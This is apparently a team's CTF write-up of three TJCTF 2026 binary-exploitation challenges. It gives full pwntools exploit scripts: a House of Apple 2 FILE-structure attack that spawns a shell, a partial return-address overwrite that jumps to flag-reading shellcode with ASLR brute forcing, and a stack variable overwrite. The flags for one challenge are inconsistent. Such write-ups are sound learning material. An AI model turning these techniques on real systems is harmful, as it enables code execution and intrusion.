team-logo
MindCrafters
Published on

TJCTF 2026 - PWN challenges

Authors

Introduction

You can learn about the CTF. We solve (codex, kimi, claude) all tasks...

Ox78

01

Ox78 is a 64-bit PIE binary with Full RELRO, NX, SHSTK and IBT enabled, but no stack canary. The intended path is not classic ROP; the binary gives good FSOP primitives against a heap FILE object.

Relevant files:

  • Ox78 - target binary
  • libc.so.6 - challenge libc, glibc 2.34
  • ld-linux-x86-64.so.2 - challenge loader
  • 01-solution.py - final exploit

Program Behavior

The challenge:

  1. Opens /tmp/test.txt with fopen.
  2. Stores the resulting FILE * in global fp.
  3. Prints the heap address of fp.
  4. Prints the resolved puts address from the GOT, giving a libc leak.
  5. Calls read(0, fp, 0x78), giving control of the first 0x78 bytes of the FILE.
  6. Calls prevent_fsop(), which only zeros fp->_chain at offset 0x68; the supposed validation is ineffective.
  7. Calls fread(testbuf, 1, 0x78, fp).
  8. Calls prevent_fsop() again and returns.

Exploit Idea

The first write controls enough of fp to turn the later fread into an arbitrary write. Set:

  • _IO_read_ptr == _IO_read_end, so fread needs underflow.
  • _fileno = 0, so glibc reads from stdin.
  • _IO_buf_base = fp + 0x20
  • _IO_buf_end = _IO_buf_base + 0x380

During fread, glibc reaches _IO_SYSREAD, effectively:

read(0, fp + 0x20, 0x380);

That second write places the final fake FILE, fake _IO_wide_data, and fake wide vtable.

The trigger is House of Apple 2:

_IO_flush_all
  -> _IO_OVERFLOW(fp, EOF)
  -> _IO_wfile_overflow(fp, EOF)
  -> _IO_wdoallocbuf(fp)
  -> fp->_wide_data->_wide_vtable->__doallocate(fp)
  -> system(fp)

The start of fp is b" sh\0", so this becomes:

system("  sh");

The leading spaces are harmless for /bin/sh, while the flag bits avoid _IO_NO_READS, _IO_NO_WRITES, _IO_UNBUFFERED, etc.

Important Offsets

For the challenge glibc:

puts             = libc + 0x84ed0
system           = libc + 0x54ae0
_IO_wfile_jumps  = libc + 0x21a020

Useful FILE offsets:

_flags         0x00
_IO_read_ptr   0x08
_IO_read_end   0x10
_IO_write_base 0x20
_IO_write_ptr  0x28
_IO_buf_base   0x38
_IO_buf_end    0x40
_chain         0x68
_fileno        0x70
_lock          0x88
_wide_data     0xa0
_mode          0xc0
vtable         0xd8

Useful _IO_wide_data offsets:

_IO_write_base 0x18
_IO_write_ptr  0x20
_IO_buf_base   0x30
_wide_vtable   0xe0

Fake wide vtable:

__doallocate = wide_vtable + 0x68 = system

Where The Problems Were

1. The second write originally started at fp + 0x78

That looked natural because the first read covered fp[0x00..0x77], and stage 2 needed to fill the rest of the structure.

But fread mutates the FILE after _IO_SYSREAD. In GDB, after the second read, glibc had changed the normal buffer pointers:

fp->_IO_write_base == fp->_IO_write_ptr

That breaks the _IO_flush_all condition:

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

So the fake vtable was present, but the overflow call was not reached.

Fix: make the arbitrary write start at fp + 0x20, not fp + 0x78, and rewrite _IO_write_base = 0, _IO_write_ptr = 1 in stage 2 after glibc's mutation.

2. Debugging by symbol names was unreliable

GDB did not resolve pending breakpoints such as _IO_flush_all or _IO_wfile_overflow cleanly with the provided libc. The reliable route was:

  1. Disable ASLR in GDB.
  2. Break at main or after the printed leaks.
  3. Use info proc mappings to get the libc base.
  4. Set breakpoints by absolute addresses from local libc offsets.

The most useful breakpoint was just after fread, at Ox78+0xd3, then dumping the FILE memory to see exactly which fields glibc had changed.

3. Local LD_PRELOAD made /bin/sh fail

The local process was started as:

process(['./ld-linux-x86-64.so.2', './Ox78'],
        env={'LD_PRELOAD': os.path.abspath('./libc.so.6')})

This is enough to test that system(" sh") is reached, but the spawned /bin/sh inherits LD_PRELOAD=./libc.so.6. On the host, that libc may not satisfy the system shell's required GLIBC version, causing errors such as:

sh: ./libc.so.6: version `GLIBC_2.38' not found

The remote service and Docker-style challenge environment do not have this mismatch, so the same payload works there.

4. The process often aborts after command output

After command execution, glibc may later trip heap assertions because the fake FILE and heap state are corrupt. This is not a blocker; send the command, receive the flag, and ignore the late abort.

Final Exploit

#!/usr/bin/env python3
# House of Apple 2 na stdin->FILE (Ox78)
from pwn import *

context.binary = ELF('./Ox78', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

def start():
    if args.REMOTE:
        host, port = args.HOST, int(args.PORT)
        return remote(host, port)
    open('/tmp/test.txt', 'w').write('test file\n')
    return process(['./ld-linux-x86-64.so.2', './Ox78'],
                    env={'LD_PRELOAD': os.path.abspath('./libc.so.6')})

io = start()

io.recvuntil(b'File Structure: 0x')
fp = int(io.recvline().strip(), 16)
io.recvuntil(b'libc leak as well: ')
puts = int(io.recvline().strip(), 16)
libc.address = puts - libc.sym['puts']
log.success('fp        = %#x', fp)
log.success('libc base = %#x', libc.address)

system     = libc.sym['system']
wfile_jmp  = libc.sym['_IO_wfile_jumps']

A    = fp + 0x20
LEN  = 0x380

f1 = flat({
    0x00: b'  sh\x00\x00\x00\x00\x00',
    0x08: p64(0),
    0x10: p64(0),
    0x18: p64(0),
    0x20: p64(0),
    0x28: p64(1),
    0x30: p64(0),
    0x38: p64(A),
    0x40: p64(A + LEN),
    0x70: p32(0),
}, filler=b'\x00', length=0x78)
io.send(f1)

wide_data   = A + 0x180
wide_vtable = A + 0x280
lock_addr   = A + 0x160

stage = flat({
    0x00: p64(0),
    0x08: p64(1),
    0x10: p64(0),
    0x68: p64(lock_addr),
    0x80: p64(wide_data),
    0xA8: p64(0),
    0xC0: p64(wfile_jmp),
    (wide_data - A) + 0x18: p64(0),
    (wide_data - A) + 0x20: p64(0),
    (wide_data - A) + 0x30: p64(0),
    (wide_data - A) + 0xe0: p64(wide_vtable),
    (wide_vtable - A) + 0x68: p64(system),
}, filler=b'\x00', length=LEN)

io.send(stage)

if args.CMD:
    io.sendline(args.CMD.encode())
    print(io.recvall(timeout=2).decode(errors='replace'))
else:
    io.interactive()

Flag:

tjctf{d0uBl3_FSoP_1s_fUN_29391}

Greetings

02

Flag:

TJCTF{7h15_15_4_51gn3d_1nt3g3r_0v3yfl0w}

Program Behavior

The binary reads a username, then a password. The vulnerability lies in the username input handling:

  1. It reads the username length as an integer
  2. It adds 2 to that length
  3. It allocates a buffer of that size
  4. It uses fgets to read the username into the buffer

The issue is that fgets reads size-1 bytes and null-terminates. With careful manipulation, we can achieve a 1-byte partial overwrite of the return address.

Exploit Strategy

The binary has a jmp rax gadget at offset 0x10DF. The plan is:

  1. Overwrite the least significant byte of the return address to point to jmp rax
  2. Place shellcode in the username buffer
  3. The jmp rax will jump to our shellcode

Key Details

  • The PIE base needs to end with 0xF000 for the partial overwrite to work
  • For remote, we need to brute force the ASLR (about 1 in 16 chance per attempt)
  • The username buffer is at a known offset from the return address

Final Exploit

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./greetings", checksec=False)
context.arch = "amd64"

LD = "./ld-linux-x86-64.so.2"
LIBC_DIR = "."
REMOTE_HOST = "tjc.tf"
REMOTE_PORT = 31373
OFFSET = 72
JMP_RAX = 0x10DF


def start():
    if args.REMOTE:
        return remote(args.HOST or REMOTE_HOST, int(args.PORT or REMOTE_PORT))
    return process([LD, "--library-path", LIBC_DIR, elf.path])


def build_payload(pie=None):
    shellcode = asm(
        shellcraft.open("/flag.txt")
        + shellcraft.read("rax", "rsp", 0x100)
        + shellcraft.write(1, "rsp", "rax")
        + shellcraft.exit(0)
    )

    assert b"\n" not in shellcode
    assert shellcode[0] != ord("@")

    payload = flat(
        shellcode,
        b"A" * (OFFSET - len(shellcode)),
    )
    if pie is None:
        payload += b"\xdf"
    else:
        payload += p64(pie + JMP_RAX)
    return payload


def attempt():
    io = start()
    if args.REMOTE:
        pie = int(args.PIE, 16) if args.PIE else None
    else:
        with open(f"/proc/{io.pid}/maps", "r") as f:
            for line in f:
                if "greetings" in line and "r-xp" in line:
                    pie = int(line.split("-")[0], 16) - 0x1000
                    break
        log.info(f"PIE base = {pie:#x}")

    payload = build_payload(pie)

    if args.REMOTE and pie is None:
        io.sendlineafter(b"username: ", str(len(payload) - 1).encode())
    elif args.REMOTE:
        io.sendlineafter(b"username: ", str(len(payload) + 8).encode())
    else:
        io.sendline(str(len(payload) + 8).encode())
    io.sendlineafter(b"@): ", payload)
    out = io.recvall(timeout=2)
    io.close()
    return out


if args.REMOTE and not args.PIE and args.BRUTE:
    for i in range(int(args.N or 512)):
        log.info(f"attempt {i + 1}")
        out = attempt()
        if b"tjctf{" in out or b"OK" in out:
            print(out.decode(errors="ignore"))
            break
    else:
        log.failure("no successful ASLR hit")
    raise SystemExit

out = attempt()
print(out.decode(errors="ignore"))

FLAG:

tjctf{rAx_h01ds_r3t_v@lS?_189278}

hunting field

03

Program Behavior

This is a text-based game where you input coordinate pairs. The vulnerability lies in how the game handles invalid inputs.

Vulnerability Analysis

  1. The game has a buffer input_log on the stack that stores previous inputs
  2. For invalid inputs, the game writes to input_log backwards
  3. The variable killCt (kill count) is located near the input_log buffer
  4. By carefully crafting inputs, we can overwrite killCt with a specific value

Exploit Strategy

  1. Send 32 pairs of invalid coordinates to fill the input_log buffer up to the killCt variable
  2. Send two more pairs to overwrite killCt with the value 0x68756e74 (which is "tnhu" in little-endian)
  3. The magic value 0x68756e74 causes the game to print the flag when game_over() is called
  4. Send 32 more pairs with null bytes to trigger the game over condition

Key Details

  • Each pair of coordinates writes 2 bytes to the input_log buffer
  • After 32 pairs, we're at offset rbp-0x84
  • killCt is at rbp-0x84
  • The byte order in memory is b"tnuh" for the value 0x68756e74
  • Sending null bytes as input causes the game to treat it as end-of-string and complete the turn

Final Exploit

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF("./game", checksec=False)


def start():
    if args.REMOTE:
        host = args.HOST or "tjc.tf"
        port = int(args.PORT or 31412)
        return remote(host, port)
    return process(exe.path)


def main():
    io = start()

    for _ in range(32):
        io.sendline(b"xx")
    io.sendline(b"hu")
    io.sendline(b"nt")

    for _ in range(32):
        io.sendline(b"\x00\x00")

    print(io.recvall(timeout=3).decode(errors="replace"))


if __name__ == "__main__":
    main()

Flag:

tjctf{pr0fes5iona1_hunt3r}

Bonus

You can find all binaries here: https://github.com/MindCraftersi/ctf/tree/main/2026/tjctf-2026/pwn/